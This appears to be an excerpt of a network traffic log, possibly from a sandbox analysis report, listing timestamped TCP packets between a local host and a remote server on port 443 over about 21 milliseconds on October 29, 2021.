Oct 29, 2021 14:10:44.368423939 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.368587971 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.368597984 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369036913 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369096994 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.369102001 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369117975 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369164944 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.369179010 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369294882 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369353056 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369406939 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.369415998 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.369458914 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.369972944 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370071888 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370136976 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370152950 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.370174885 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370240927 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.370248079 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370326042 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370376110 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.370383978 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.370934963 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371006966 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371027946 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.371040106 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371104956 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.371110916 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371128082 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371176958 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.371191025 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371778011 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371845961 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.371854067 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.371932983 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372005939 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372054100 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.372061968 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372102976 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.372107983 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372155905 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372234106 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372287035 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.372302055 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372349024 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.372806072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.372932911 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373014927 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373068094 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373070955 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373089075 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373128891 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373146057 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373197079 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373208046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373687029 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373740911 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373796940 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373796940 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373815060 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373857975 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373903036 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373948097 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.373954058 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.373966932 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374274015 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.374284983 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374655962 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374718904 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374780893 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374782085 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.374795914 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374825001 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.374876976 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374923944 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.374928951 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374943972 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.374989986 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.375003099 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375555038 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375633001 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375691891 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375705004 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.375718117 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375746965 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.375771046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375821114 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.375828028 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.375870943 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376403093 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376452923 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376463890 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.376476049 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376497984 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.376607895 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376665115 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376714945 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.376724005 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376765966 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.376773119 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376823902 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376893044 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376941919 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.376949072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376965046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.376991987 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.377541065 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377599955 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377665043 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377685070 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.377701044 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377713919 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.377760887 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377814054 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377862930 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377870083 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.377882004 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377908945 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.377948046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.377995968 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.378007889 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378472090 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378597021 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378664970 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378674984 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.378693104 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378722906 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.378750086 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378808975 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378820896 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.378829002 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378871918 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.378879070 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.378927946 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379437923 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379503965 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379518986 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379539967 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379554033 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379590034 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379642963 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379688978 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379693985 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379705906 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379735947 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379790068 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379837990 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379842997 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379857063 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.379899025 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.379909039 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380419016 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380517960 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380584955 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380593061 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.380606890 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380630970 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.380664110 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380739927 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380789995 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.380791903 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380809069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380839109 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.380912066 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380963087 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.380964041 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.380976915 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381026030 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.381452084 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381540060 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381596088 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381608009 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.381619930 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381684065 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381731033 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.381737947 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381784916 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.381788015 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381802082 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.381850004 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.381859064 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382329941 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382366896 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382406950 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382428885 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.382442951 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382455111 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.382488966 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382527113 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382566929 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382584095 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.382597923 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382610083 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.382642031 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382675886 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382725954 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.382726908 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382739067 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.382771015 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383264065 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383304119 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383330107 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383343935 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383393049 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383435011 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383450031 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383465052 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383477926 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383505106 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383543015 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383582115 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383589983 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383605003 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.383622885 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.383645058 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384188890 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384228945 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384254932 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384265900 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384265900 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384277105 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384319067 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384330988 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384363890 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384670973 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384708881 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384732008 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384744883 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384754896 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384785891 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384826899 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384877920 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384877920 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384891987 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384922028 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.384952068 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384988070 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.384996891 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385006905 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385050058 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385056019 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385099888 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385273933 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385283947 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385605097 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385653973 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385683060 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385691881 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385704041 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385768890 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385783911 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385797024 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385826111 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385832071 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385870934 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385891914 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.385900974 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385935068 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.385971069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386008024 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386009932 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386025906 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386037111 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386092901 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386101007 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386568069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386610985 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386645079 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386656046 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386667967 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386708021 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386715889 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386751890 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386790037 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386800051 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386811972 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386827946 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386851072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386903048 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386940956 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386948109 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386960983 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.386977911 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.386997938 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387358904 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.387370110 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387540102 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387612104 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387644053 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.387645960 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387656927 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387687922 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.387716055 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387754917 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387788057 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387804985 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.387820005 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.387831926 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.387865067 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388077021 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388088942 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388186932 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388233900 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388254881 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388268948 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388374090 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388415098 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388415098 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388430119 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388463974 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388477087 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388515949 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388524055 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388535976 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388573885 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388612986 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388622046 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388632059 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388660908 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388672113 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.388719082 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.388729095 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389126062 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389175892 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389199018 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389214039 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389257908 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389311075 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389318943 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389358044 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389364004 CEST	49990	443	192.168.2.3	142.250.203.97
